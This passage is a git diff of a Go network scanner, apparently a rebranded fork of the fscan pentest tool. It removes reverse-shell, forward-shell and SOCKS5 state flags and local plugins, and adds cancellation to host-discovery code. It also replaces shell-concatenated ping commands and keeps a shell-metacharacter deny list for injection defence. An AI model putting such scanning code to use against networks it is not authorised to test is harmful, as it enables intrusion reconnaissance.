"github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) /* diff --git a/common/runtime_api_test.go b/common/runtime_api_test.go index 11a605b7..e782dbc6 100644 --- a/common/runtime_api_test.go +++ b/common/runtime_api_test.go @@ -27,7 +27,7 @@ func TestResultCallbackLifecycle(t *testing.T) { } } -func TestStateRuntimeTargetsAndShellFlags(t *testing.T) { +func TestStateRuntimeTargets(t *testing.T) { state := NewState() urls := []string{"http://example.com", "https://example.org"} @@ -45,18 +45,4 @@ func TestStateRuntimeTargetsAndShellFlags(t *testing.T) { if got := state.GetHostPorts(); got != nil { t.Fatalf("hostPorts after clear = %#v, want nil", got) } - - state.SetForwardShellActive(true) - state.SetReverseShellActive(true) - state.SetSocks5ProxyActive(true) - if !state.IsForwardShellActive() || !state.IsReverseShellActive() || !state.IsSocks5ProxyActive() { - t.Fatal("shell/proxy flags should be active") - } - - state.SetForwardShellActive(false) - state.SetReverseShellActive(false) - state.SetSocks5ProxyActive(false) - if state.IsForwardShellActive() || state.IsReverseShellActive() || state.IsSocks5ProxyActive() { - t.Fatal("shell/proxy flags should be inactive") - } } diff --git a/common/session.go b/common/session.go index 42bdc96c..bba0206b 100644 --- a/common/session.go +++ b/common/session.go @@ -2,16 +2,18 @@ package common import ( "context" + "errors" "fmt" "net" "net/http" "strings" "sync" + "sync/atomic" "time" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/common/proxy" + "scanner/common/i18n" + "scanner/common/output" + "scanner/common/proxy" ) // ResultSink receives structured scan results for one scan session. @@ -26,10 +28,16 @@ type ScanSession struct { ResultSink ResultSink // 可选,覆盖全局输出 PauseGate func(ctx context.Context) error + HTTPClient *http.Client + HTTPClientNoRedirect *http.Client + HTTPClientGM *http.Client + HTTPClientNoRedirectGM *http.Client + // 每会话 dialer(按 timeout 懒初始化,取决于代理配置) dialerMu sync.Mutex dialers map[time.Duration]proxy.Dialer dialerErrs map[time.Duration]error + closed atomic.Bool } // NewScanSession 从已构建的 Config、State 和 FlagVars 创建会话 @@ -44,10 +52,47 @@ func NewScanSession(config *Config, state *State, params *FlagVars) *ScanSession // SaveResult saves a scan result through the session sink if present, otherwise // falls back to the process-wide output pipeline used by the CLI. func (s *ScanSession) SaveResult(result *output.ScanResult) error { + if s != nil && s.closed.Load() { + return context.Canceled + } + var err error if s != nil && s.ResultSink != nil { - return s.ResultSink(result) + err = s.ResultSink(result) + } else { + err = SaveResult(result) + } + if err != nil && !errors.Is(err, context.Canceled) && s != nil { + s.LogError(fmt.Sprintf("save result failed: %v", err)) + } + return err +} + +// Deactivate prevents late results from tasks that outlive a cancelled scan. +func (s *ScanSession) Deactivate() { + if s != nil { + s.closed.Store(true) + s.DeactivateHTTPClients() + } +} + +// DeactivateHTTPClients closes idle connections held by the session clients. +// It is also used before replacing an already initialized client set. +func (s *ScanSession) DeactivateHTTPClients() { + if s == nil { + return + } + clients := []*http.Client{s.HTTPClient, s.HTTPClientNoRedirect, s.HTTPClientGM, s.HTTPClientNoRedirectGM} + seen := make(map[*http.Client]struct{}, len(clients)) + for _, client := range clients { + if client == nil { + continue + } + if _, ok := seen[client]; ok { + continue + } + seen[client] = struct{}{} + client.CloseIdleConnections() } - return SaveResult(result) } func (s *ScanSession) loggingEnabled() bool { diff --git a/common/session_test.go b/common/session_test.go index 1f226871..11f9ac43 100644 --- a/common/session_test.go +++ b/common/session_test.go @@ -7,7 +7,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) func TestScanSessionLogMethodsHonorSilentConfig(t *testing.T) { @@ -39,6 +39,14 @@ func TestScanSessionLogMethodsHonorSilentConfig(t *testing.T) { } } +func TestScanSessionDeactivateRejectsLateResults(t *testing.T) { + session := NewScanSession(NewConfig(), NewState(), &FlagVars{}) + session.Deactivate() + if err := session.SaveResult(&output.ScanResult{}); err == nil { + t.Fatal("SaveResult() error = nil after Deactivate()") + } +} + func TestScanSessionDialerCacheIsTimeoutAware(t *testing.T) { cfg := NewConfig() cfg.Timeout = 5 * time.Second diff --git a/common/state.go b/common/state.go index 9b4f1876..0350c2dd 100644 --- a/common/state.go +++ b/common/state.go @@ -52,11 +52,6 @@ type State struct { hostPorts []string urlsMu sync.RWMutex - // Shell状态(插件设置) - forwardShellActive int32 // 使用int32以便原子操作 - reverseShellActive int32 - socks5ProxyActive int32 - // 服务识别缓存(per-session,避免跨扫描污染) // key: "host:port", value: interface{}(core.ServiceInfo 指针) serviceCache sync.Map @@ -354,52 +349,6 @@ func (s *State) ClearHostPorts() { s.hostPorts = nil } -// ============================================================================= -// Shell状态方法 -// ============================================================================= - -// IsForwardShellActive 检查正向Shell是否活跃 -func (s *State) IsForwardShellActive() bool { - return atomic.LoadInt32(&s.forwardShellActive) == 1 -} - -// SetForwardShellActive 设置正向Shell活跃状态 -func (s *State) SetForwardShellActive(active bool) { - if active { - atomic.StoreInt32(&s.forwardShellActive, 1) - } else { - atomic.StoreInt32(&s.forwardShellActive, 0) - } -} - -// IsReverseShellActive 检查反向Shell是否活跃 -func (s *State) IsReverseShellActive() bool { - return atomic.LoadInt32(&s.reverseShellActive) == 1 -} - -// SetReverseShellActive 设置反向Shell活跃状态 -func (s *State) SetReverseShellActive(active bool) { - if active { - atomic.StoreInt32(&s.reverseShellActive, 1) - } else { - atomic.StoreInt32(&s.reverseShellActive, 0) - } -} - -// IsSocks5ProxyActive 检查SOCKS5代理是否活跃 -func (s *State) IsSocks5ProxyActive() bool { - return atomic.LoadInt32(&s.socks5ProxyActive) == 1 -} - -// SetSocks5ProxyActive 设置SOCKS5代理活跃状态 -func (s *State) SetSocks5ProxyActive(active bool) { - if active { - atomic.StoreInt32(&s.socks5ProxyActive, 1) - } else { - atomic.StoreInt32(&s.socks5ProxyActive, 0) - } -} - // ============================================================================= // 发包频率控制方法 - 统一使用令牌桶算法 // ============================================================================= diff --git a/core/adaptive_pool.go b/core/adaptive_pool.go index 8bec02f4..4a35c7e2 100644 --- a/core/adaptive_pool.go +++ b/core/adaptive_pool.go @@ -1,13 +1,15 @@ package core import ( + "context" + "errors" "sync" "sync/atomic" "time" "github.com/panjf2000/ants/v2" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" ) // HealthSignal 健康评估结果 @@ -70,7 +72,7 @@ func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMet initial = target } - pool, err := ants.NewPoolWithFunc(initial, fn) + pool, err := ants.NewPoolWithFunc(initial, fn, ants.WithNonblocking(true)) if err != nil { return nil, err } @@ -95,8 +97,33 @@ func NewAdaptivePool(target, ceiling int, fn func(interface{}), metrics *ScanMet // Invoke 提交任务 func (ap *AdaptivePool) Invoke(task interface{}) error { - ap.maybeAdjust() - return ap.pool.Invoke(task) + return ap.InvokeContext(context.Background(), task) +} + +// InvokeContext 提交任务,并在池满时允许调用方通过 context 取消等待。 +func (ap *AdaptivePool) InvokeContext(ctx context.Context, task interface{}) error { + if ctx == nil { + ctx = context.Background() + } + + for { + ap.maybeAdjust() + err := ap.pool.Invoke(task) + if err == nil { + return nil + } + if !errors.Is(err, ants.ErrPoolOverload) { + return err + } + + timer := time.NewTimer(5 * time.Millisecond) + select { + case <-ctx.Done(): + timer.Stop() + return ctx.Err() + case <-timer.C: + } + } } // maybeAdjust 周期性检查并调整并发数 diff --git a/core/adaptive_pool_test.go b/core/adaptive_pool_test.go index 555c0519..d1cd310d 100644 --- a/core/adaptive_pool_test.go +++ b/core/adaptive_pool_test.go @@ -1,11 +1,38 @@ package core import ( + "context" "sync/atomic" "testing" "time" ) +func TestAdaptivePoolInvokeContextCancellation(t *testing.T) { + release := make(chan struct{}) + started := make(chan struct{}, 1) + pool, _ := newTestPool(t, 1, func(interface{}) { + select { + case started <- struct{}{}: + default: + } + <-release + }) + defer pool.Release() + + if err := pool.Invoke(struct{}{}); err != nil { + t.Fatalf("first Invoke() error = %v", err) + } + <-started + + ctx, cancel := context.WithTimeout(context.Background(), 25*time.Millisecond) + defer cancel() + if err := pool.InvokeContext(ctx, struct{}{}); err != context.DeadlineExceeded { + close(release) + t.Fatalf("InvokeContext() error = %v, want deadline exceeded", err) + } + close(release) +} + // newTestPool 测试辅助:创建测试用的自适应线程池 func newTestPool(t *testing.T, size int, fn func(interface{})) (*AdaptivePool, *ScanMetrics) { t.Helper() diff --git a/core/alive_scanner.go b/core/alive_scanner.go index 6ad8a99c..748a2cd6 100644 --- a/core/alive_scanner.go +++ b/core/alive_scanner.go @@ -6,9 +6,9 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/i18n" + "scanner/common/parsers" ) /* diff --git a/core/alive_scanner_test.go b/core/alive_scanner_test.go index 3bdab2f4..1016cefd 100644 --- a/core/alive_scanner_test.go +++ b/core/alive_scanner_test.go @@ -4,7 +4,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // TestNewAliveScanStrategy 测试构造函数 diff --git a/core/base_scan_strategy.go b/core/base_scan_strategy.go index 87c992ac..94ac24a5 100644 --- a/core/base_scan_strategy.go +++ b/core/base_scan_strategy.go @@ -6,9 +6,9 @@ import ( "sort" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // PluginFilterType 插件过滤类型 @@ -17,9 +17,7 @@ type PluginFilterType int const ( // FilterNone 不过滤 FilterNone PluginFilterType = iota - // FilterLocal 仅本地插件 - FilterLocal - // FilterService 仅服务插件(排除本地) + // FilterService 仅服务插件 FilterService // FilterWeb 仅Web插件 FilterWeb @@ -113,18 +111,10 @@ func (b *BaseScanStrategy) isWebPlugin(pluginName string) bool { return plugins.HasType(pluginName, plugins.PluginTypeWeb) } -func (b *BaseScanStrategy) isLocalPlugin(pluginName string) bool { - return plugins.HasType(pluginName, plugins.PluginTypeLocal) -} - func (b *BaseScanStrategy) isUDPPlugin(pluginName string) bool { return plugins.IsUDP(pluginName) } -func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string, config *common.Config) bool { - return config.LocalPlugin == pluginName -} - // isPluginApplicableToPortWithHost 检查插件是否适用于指定端口 // 匹配策略:端口匹配 → 服务名称匹配(解决非标准端口问题) func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, targetHost string, targetPort int) bool { @@ -182,29 +172,19 @@ func (b *BaseScanStrategy) isPluginPassesFilterType(pluginName string, isCustomM // 应用过滤器类型检查 switch b.filterType { - case FilterLocal: - // 本地扫描策略:只允许本地插件且必须通过-local参数明确指定 - if b.isLocalPlugin(pluginName) { - return b.isLocalPluginExplicitlySpecified(pluginName, config) - } - return false case FilterService: - // 服务扫描策略:排除本地插件和UDP插件(UDP有独立分发路径) - return !b.isLocalPlugin(pluginName) && !b.isUDPPlugin(pluginName) + // UDP插件有独立分发路径 + return !b.isUDPPlugin(pluginName) case FilterWeb: // Web扫描策略:只允许Web插件 return b.isWebPlugin(pluginName) default: - // 无过滤器:本地插件需要明确指定,其他插件都允许 - if b.isLocalPlugin(pluginName) { - return b.isLocalPluginExplicitlySpecified(pluginName, config) - } return true } } // LogPluginInfo 默认不输出插件信息(service 默认端口模式有意保持安静,减少干扰)。 -// 子类 LocalScanStrategy / ServiceScanStrategy 按需重写。 +// 子类 ServiceScanStrategy 按需重写。 func (b *BaseScanStrategy) LogPluginInfo(config *common.Config, session *common.ScanSession) { } @@ -224,10 +204,8 @@ func (b *BaseScanStrategy) ValidateConfiguration() error { // LogScanStart 输出扫描开始信息(已精简,仅在非服务扫描模式下显示) func (b *BaseScanStrategy) LogScanStart(session *common.ScanSession) { // 服务扫描模式下不显示(插件信息已足够说明) - // 仅在本地/Web等特殊模式下显示 + // 仅在 Web 等特殊模式下显示 switch b.filterType { - case FilterLocal: - session.LogInfo(i18n.GetText("start_local_scan")) case FilterWeb: session.LogInfo(i18n.GetText("start_web_scan")) } @@ -239,17 +217,10 @@ func (b *BaseScanStrategy) getPluginsByFilterType() []string { var filteredPlugins []string switch b.filterType { - case FilterLocal: - // 本地扫描策略:只返回本地插件 - for _, pluginName := range allPlugins { - if b.isLocalPlugin(pluginName) { - filteredPlugins = append(filteredPlugins, pluginName) - } - } case FilterService: - // 服务扫描策略:排除本地插件和UDP插件,保留TCP服务插件 + // 服务扫描策略:排除UDP插件,保留TCP服务插件 for _, pluginName := range allPlugins { - if !b.isLocalPlugin(pluginName) && !b.isUDPPlugin(pluginName) { + if !b.isUDPPlugin(pluginName) { filteredPlugins = append(filteredPlugins, pluginName) } } diff --git a/core/base_scan_strategy_test.go b/core/base_scan_strategy_test.go index 1b8b8bf4..df330dec 100644 --- a/core/base_scan_strategy_test.go +++ b/core/base_scan_strategy_test.go @@ -3,8 +3,8 @@ package core import ( "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // ============================================================================= @@ -277,7 +277,6 @@ func TestOrderWebPlugins(t *testing.T) { func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { registerTestPlugins(t) - plugins.RegisterWithOptions("core_test_local", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) plugins.RegisterWithOptions("core_test_udp", func() plugins.Plugin { return nil }, []int{161}, []string{plugins.PluginTypeUDP}, true) clearServiceCache() @@ -297,7 +296,7 @@ func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { if custom { t.Fatal("all mode should not be custom") } - if !containsString(servicePlugins, "ssh") || containsString(servicePlugins, "core_test_local") || containsString(servicePlugins, "core_test_udp") { + if !containsString(servicePlugins, "ssh") || containsString(servicePlugins, "core_test_udp") { t.Fatalf("service filtered plugins = %#v", servicePlugins) } @@ -320,27 +319,16 @@ func TestBaseScanStrategyPluginSelectionAndApplicability(t *testing.T) { } func TestBaseScanStrategyFilterTypes(t *testing.T) { - plugins.RegisterWithOptions("core_test_local_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) plugins.RegisterWithOptions("core_test_web_filter", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeWeb}, true) plugins.RegisterWithOptions("core_test_udp_filter", func() plugins.Plugin { return nil }, []int{53}, []string{plugins.PluginTypeUDP}, true) cfg := common.NewConfig() - localStrategy := NewBaseScanStrategy("local", FilterLocal) - if localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { - t.Fatal("local plugin should require explicit -local selection") - } - cfg.LocalPlugin = "core_test_local_filter" - if !localStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) { - t.Fatal("explicit local plugin should pass local filter") - } - serviceStrategy := NewBaseScanStrategy("service", FilterService) if !serviceStrategy.isPluginPassesFilterType("ssh", false, cfg) { t.Fatal("service plugin should pass service filter") } - if serviceStrategy.isPluginPassesFilterType("core_test_local_filter", false, cfg) || - serviceStrategy.isPluginPassesFilterType("core_test_udp_filter", false, cfg) { - t.Fatal("service filter should reject local and UDP plugins") + if serviceStrategy.isPluginPassesFilterType("core_test_udp_filter", false, cfg) { + t.Fatal("service filter should reject UDP plugins") } webStrategy := NewBaseScanStrategy("web", FilterWeb) @@ -383,11 +371,6 @@ func TestNewBaseScanStrategy(t *testing.T) { strategyName: "无过滤", filterType: FilterNone, }, - { - name: "FilterLocal", - strategyName: "本地扫描", - filterType: FilterLocal, - }, { name: "FilterService", strategyName: "服务扫描", @@ -424,7 +407,6 @@ func TestPluginFilterTypeConstants(t *testing.T) { // 验证常量值的唯一性和连续性 filterTypes := []PluginFilterType{ FilterNone, - FilterLocal, FilterService, FilterWeb, } @@ -441,9 +423,8 @@ func TestPluginFilterTypeConstants(t *testing.T) { // 验证预期值 expectedValues := map[PluginFilterType]int{ FilterNone: 0, - FilterLocal: 1, - FilterService: 2, - FilterWeb: 3, + FilterService: 1, + FilterWeb: 2, } for ft, expectedVal := range expectedValues { @@ -546,12 +527,6 @@ func TestIsPluginPassesFilterType_CustomMode(t *testing.T) { registerTestPlugins(t) cfg := common.NewConfig() - // FilterLocal 策略下 custom mode 也应通过 - localStrategy := NewBaseScanStrategy("local", FilterLocal) - if !localStrategy.isPluginPassesFilterType("ssh", true, cfg) { - t.Error("custom mode 下非 UDP 插件应直接返回 true") - } - // FilterService 策略下 custom mode 也应通过 serviceStrategy := NewBaseScanStrategy("service", FilterService) if !serviceStrategy.isPluginPassesFilterType("ssh", true, cfg) { @@ -574,22 +549,3 @@ func TestIsPluginPassesFilterType_FilterNoneNonLocal(t *testing.T) { t.Error("FilterNone + 非 local 插件 redis 应返回 true") } } - -// TestIsPluginPassesFilterType_FilterNoneLocalPlugin FilterNone + local 插件:需要 -local 显式指定 -func TestIsPluginPassesFilterType_FilterNoneLocalPlugin(t *testing.T) { - plugins.RegisterWithOptions("core_test_local_none", func() plugins.Plugin { return nil }, nil, []string{plugins.PluginTypeLocal}, false) - cfg := common.NewConfig() - - noneStrategy := NewBaseScanStrategy("none", FilterNone) - - // 未指定 LocalPlugin,应返回 false - if noneStrategy.isPluginPassesFilterType("core_test_local_none", false, cfg) { - t.Error("FilterNone + local 插件未显式指定时应返回 false") - } - - // 指定后应返回 true - cfg.LocalPlugin = "core_test_local_none" - if !noneStrategy.isPluginPassesFilterType("core_test_local_none", false, cfg) { - t.Error("FilterNone + local 插件显式指定后应返回 true") - } -} diff --git a/core/env_profiler.go b/core/env_profiler.go index bb4ad05e..05e6abe0 100644 --- a/core/env_profiler.go +++ b/core/env_profiler.go @@ -6,8 +6,8 @@ import ( "runtime" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common" + "scanner/common/i18n" ) // EnvironmentProfile 综合环境探测结果 diff --git a/core/env_profiler_test.go b/core/env_profiler_test.go index 93d4c636..b97074ec 100644 --- a/core/env_profiler_test.go +++ b/core/env_profiler_test.go @@ -5,7 +5,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // ============================================================================= diff --git a/core/host_batch.go b/core/host_batch.go index 696fd02d..c63ded89 100644 --- a/core/host_batch.go +++ b/core/host_batch.go @@ -1,8 +1,8 @@ package core import ( - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/parsers" ) const maxHostBatchSize = 65536 diff --git a/core/host_excludes.go b/core/host_excludes.go index a6c5bad5..ec2b1264 100644 --- a/core/host_excludes.go +++ b/core/host_excludes.go @@ -3,8 +3,8 @@ package core import ( "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/parsers" + "scanner/common" + "scanner/common/parsers" ) func loadHostExcludes(params *common.FlagVars) ([]string, error) { diff --git a/core/host_excludes_test.go b/core/host_excludes_test.go index 1252f6c6..a675df90 100644 --- a/core/host_excludes_test.go +++ b/core/host_excludes_test.go @@ -5,7 +5,7 @@ import ( "reflect" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestLoadHostExcludesIncludesExcludeFile(t *testing.T) { diff --git a/core/icmp.go b/core/icmp.go index c77339b2..87f11e61 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -1,7 +1,6 @@ package core import ( - "bytes" "context" "errors" "fmt" @@ -14,31 +13,16 @@ import ( "sync/atomic" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" + "github.com/juju/ratelimit" + "scanner/common" + "scanner/common/i18n" + "scanner/common/output" "golang.org/x/net/icmp" ) // pingForbiddenChars 命令注入防护 - 禁止的字符 var pingForbiddenChars = []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"} -// pingErrorKeywords ping 失败的关键词(跨平台) -var pingErrorKeywords = []string{ - // Windows - "TTL expired", - "Destination host unreachable", - "Destination net unreachable", - "Request timed out", - "General failure", - "transmit failed", - // Linux/macOS - "Time to live exceeded", - "100% packet loss", - "Network is unreachable", - "No route to host", -} - // CheckLive 检测主机存活状态 // 支持 ICMP/Ping 探测,并在响应率过低时自动启用 TCP 补充探测 func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *common.ScanSession) []string { @@ -61,9 +45,9 @@ func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *comm // 根据Ping参数选择检测方式 if Ping { // 使用ping方式探测 - RunPing(hostslist, chanHosts, &livewg) + RunPing(ctx, hostslist, chanHosts, &livewg) } else { - probeWithICMP(hostslist, chanHosts, &aliveHosts, &aliveHostsMu, config, state, &livewg) + probeWithICMP(ctx, hostslist, chanHosts, &aliveHosts, &aliveHostsMu, config, state, &livewg) } // 等待所有检测完成 @@ -165,21 +149,21 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, al } // probeWithICMP 使用ICMP方式探测 -func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { +func probeWithICMP(ctx context.Context, hostslist []string, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { // 代理模式下自动禁用ICMP,直接降级为Ping // ICMP在代理环境无法正常工作 if shouldDisableICMP() { if !config.Output.Silent { common.LogInfo(i18n.GetText("proxy_mode_disable_icmp")) } - RunPing(hostslist, chanHosts, livewg) + RunPing(ctx, hostslist, chanHosts, livewg) return } // 尝试监听本地ICMP conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") if err == nil { - RunIcmp1(hostslist, conn, chanHosts, aliveHosts, aliveHostsMu, config, state, livewg) + RunIcmp1(ctx, hostslist, conn, chanHosts, aliveHosts, aliveHostsMu, config, state, livewg) return } @@ -187,14 +171,14 @@ func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]stri conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) if err == nil { defer func() { _ = conn2.Close() }() - RunIcmp2(hostslist, chanHosts, config, state, livewg) + RunIcmp2(ctx, hostslist, chanHosts, config, state, livewg) return } common.LogInfo(i18n.GetText("switching_to_ping")) // 降级使用ping探测 - RunPing(hostslist, chanHosts, livewg) + RunPing(ctx, hostslist, chanHosts, livewg) } // shouldDisableICMP 检查是否应该禁用ICMP @@ -258,6 +242,10 @@ const ( // - 只有"连续 500ms 无新响应"才提前结束 // - 保留原有最大等待时间作为兜底 func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.Mutex) { + waitAdaptiveContext(context.Background(), hostslist, aliveHosts, aliveHostsMu) +} + +func waitAdaptiveContext(ctx context.Context, hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.Mutex) { totalHosts := len(hostslist) // 根据主机数量设置最大超时时间(保持原有逻辑作为兜底) @@ -271,7 +259,18 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M lastChangeTime := start for { - time.Sleep(icmpCheckInterval) // 避免 CPU 空转 + timer := time.NewTimer(icmpCheckInterval) + select { + case <-timer.C: + case <-ctx.Done(): + if !timer.Stop() { + select { + case <-timer.C: + default: + } + } + return + } // 读取当前存活数 aliveHostsMu.Lock() @@ -315,7 +314,7 @@ func waitAdaptive(hostslist []string, aliveHosts *[]string, aliveHostsMu *sync.M } // RunIcmp1 使用ICMP批量探测主机存活(监听模式) -func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { +func RunIcmp1(ctx context.Context, hostslist []string, conn *icmp.PacketConn, chanHosts chan string, aliveHosts *[]string, aliveHostsMu *sync.Mutex, config *common.Config, state *common.State, livewg *sync.WaitGroup) { // 使用atomic.Bool保证并发安全 var endflag atomic.Bool var listenerWg sync.WaitGroup @@ -334,7 +333,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, }() for { - if endflag.Load() { + if endflag.Load() || ctx.Err() != nil { return } @@ -388,14 +387,16 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, limiter := state.GetICMPLimiter(config.Network.ICMPRate) for i := range packets { - limiter.Wait(1) + if !waitForRateLimit(ctx, limiter) { + break + } _, _ = conn.WriteTo(packets[i].data, packets[i].dst) } // 自适应等待响应 // 算法:监控响应增量,连续一段时间无新响应则提前结束 // 保守原则:保留最大等待时间兜底,确保不漏掉慢响应主机 - waitAdaptive(hostslist, aliveHosts, aliveHostsMu) + waitAdaptiveContext(ctx, hostslist, aliveHosts, aliveHostsMu) endflag.Store(true) _ = conn.Close() @@ -403,7 +404,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, } // RunIcmp2 使用ICMP并发探测主机存活(无监听模式) -func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, state *common.State, livewg *sync.WaitGroup) { +func RunIcmp2(ctx context.Context, hostslist []string, chanHosts chan string, config *common.Config, state *common.State, livewg *sync.WaitGroup) { // 控制并发数 num := 1000 if len(hostslist) < num { @@ -416,8 +417,13 @@ func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, // 并发探测 for _, host := range hostslist { - wg.Add(1) - limiter <- struct{}{} + select { + case limiter <- struct{}{}: + wg.Add(1) + case <-ctx.Done(): + wg.Wait() + return + } go func(host string) { defer func() { @@ -425,8 +431,10 @@ func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, wg.Done() }() - rateLimiter.Wait(1) // 等待令牌,控制发包速率 - if icmpalive(host) { + if !waitForRateLimit(ctx, rateLimiter) { + return + } + if icmpalive(ctx, host) { livewg.Add(1) select { case chanHosts <- host: @@ -444,15 +452,18 @@ func RunIcmp2(hostslist []string, chanHosts chan string, config *common.Config, } // icmpalive 检测主机ICMP是否存活 -func icmpalive(host string) bool { +func icmpalive(ctx context.Context, host string) bool { startTime := time.Now() // 建立ICMP连接 - conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second) + dialer := net.Dialer{Timeout: 6 * time.Second} + conn, err := dialer.DialContext(ctx, "ip4:icmp", host) if err != nil { return false } defer func() { _ = conn.Close() }() + stopCancel := context.AfterFunc(ctx, func() { _ = conn.Close() }) + defer stopCancel() // 设置超时时间 if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { @@ -475,7 +486,7 @@ func icmpalive(host string) bool { } // RunPing 使用系统Ping命令并发探测主机存活 -func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) { +func RunPing(ctx context.Context, hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) { var wg sync.WaitGroup // 并发数根据主机数动态调整,上限 200 concurrency := len(hostslist) @@ -486,8 +497,13 @@ func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) // 并发探测 for _, host := range hostslist { - wg.Add(1) - limiter <- struct{}{} + select { + case limiter <- struct{}{}: + wg.Add(1) + case <-ctx.Done(): + wg.Wait() + return + } go func(host string) { defer func() { @@ -495,7 +511,7 @@ func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) wg.Done() }() - if ExecCommandPing(host) { + if ExecCommandPingContext(ctx, host) { livewg.Add(1) select { case chanHosts <- host: @@ -511,19 +527,14 @@ func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) wg.Wait() } -// containsPingError 检查 ping 输出是否包含错误关键词 -func containsPingError(output string) bool { - outputLower := strings.ToLower(output) - for _, keyword := range pingErrorKeywords { - if strings.Contains(outputLower, strings.ToLower(keyword)) { - return true - } - } - return false -} - // ExecCommandPing 执行系统Ping命令检测主机存活 func ExecCommandPing(ip string) bool { + return ExecCommandPingContext(context.Background(), ip) +} + +// ExecCommandPingContext runs ping without a shell and terminates it when the +// scan context is cancelled. +func ExecCommandPingContext(ctx context.Context, ip string) bool { // 过滤黑名单字符(命令注入防护) for _, char := range pingForbiddenChars { if strings.Contains(ip, char) { @@ -535,29 +546,32 @@ func ExecCommandPing(ip string) bool { // 根据操作系统选择不同的ping命令 switch runtime.GOOS { case "windows": - command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") + command = exec.CommandContext(ctx, "ping", "-n", "1", "-w", "1000", ip) case "darwin": - command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") + command = exec.CommandContext(ctx, "ping", "-c", "1", "-W", "1000", ip) default: // linux - command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") + command = exec.CommandContext(ctx, "ping", "-c", "1", "-W", "1", ip) } - // 捕获命令输出 - var outinfo bytes.Buffer - command.Stdout = &outinfo + return command.Run() == nil +} - // 执行命令 - if err := command.Start(); err != nil { - return false +func waitForRateLimit(ctx context.Context, limiter *ratelimit.Bucket) bool { + if limiter == nil { + return ctx.Err() == nil } - - if err := command.Wait(); err != nil { + delay := limiter.Take(1) + if delay <= 0 { + return ctx.Err() == nil + } + timer := time.NewTimer(delay) + defer timer.Stop() + select { + case <-timer.C: + return true + case <-ctx.Done(): return false } - - // 分析输出结果 - output := outinfo.String() - return strings.Contains(output, "true") && strings.Count(output, ip) > 2 && !containsPingError(output) } // makemsg 构造ICMP echo请求消息 @@ -738,8 +752,13 @@ func runTcpProbeForHosts(ctx context.Context, hosts []string, session *common.Sc limiter := make(chan struct{}, concurrency) for _, host := range hosts { - wg.Add(1) - limiter <- struct{}{} + select { + case limiter <- struct{}{}: + 